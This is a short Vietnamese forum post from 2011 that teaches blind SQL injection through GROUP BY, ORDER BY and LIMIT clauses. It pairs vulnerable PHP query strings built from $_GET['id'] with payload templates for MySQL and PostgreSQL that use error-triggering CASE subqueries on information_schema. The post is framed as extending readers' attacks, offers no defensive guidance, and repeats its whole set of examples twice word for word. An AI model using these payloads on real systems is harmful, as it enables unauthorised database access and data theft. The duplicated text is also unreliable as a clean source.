Cơn Gió
15-04-2011, 09:48 AM
Thông thường các bạn thường tấn công SQL Injection theo mệnh đề where trong câu lệnh select.Hôm nay sẽ mở rộng thêm cách tấn công thông qua Group by,Order by,Limit
GROUP BY
vd :đối với MySQL
"SELECT id, name FROM users GROUP BY "
. $_GET['id']
ta có thể biến đổi như sau
SELECT id, name FROM users GROUP BY 1,
(SELECT (CASE WHEN (điều kiện) THEN 1 ELSE
1*(SELECT table_name FROM
information_schema.tables) END))
ORDER BY
vd: đối với PostgreSQL
"SELECT id, name FROM users ORDER BY "
. $_GET['id']
thành
SELECT id, name FROM users ORDER BY 1,
(SELECT (CASE WHEN (điều kiện) THEN 1 ELSE
1/0 END))
LIMIT
vd: đối với MySQL
"SELECT id, name FROM users LIMIT 0, "
. $_GET['id']
thành
SELECT id, name FROM users LIMIT 0, 1
UNION ALL SELECT (CASE WHEN (điều kiện)
THEN 1 ELSE 1*(SELECT table_name FROM
information_schema.tables) END), NULL
GROUP BY
vd :đối với MySQL
"SELECT id, name FROM users GROUP BY "
. $_GET['id']
ta có thể biến đổi như sau
SELECT id, name FROM users GROUP BY 1,
(SELECT (CASE WHEN (điều kiện) THEN 1 ELSE
1*(SELECT table_name FROM
information_schema.tables) END))
ORDER BY
vd: đối với PostgreSQL
"SELECT id, name FROM users ORDER BY "
. $_GET['id']
thành
SELECT id, name FROM users ORDER BY 1,
(SELECT (CASE WHEN (điều kiện) THEN 1 ELSE
1/0 END))
LIMIT
vd: đối với MySQL
"SELECT id, name FROM users LIMIT 0, "
. $_GET['id']
thành
SELECT id, name FROM users LIMIT 0, 1
UNION ALL SELECT (CASE WHEN (điều kiện)
THEN 1 ELSE 1*(SELECT table_name FROM
information_schema.tables) END), NULL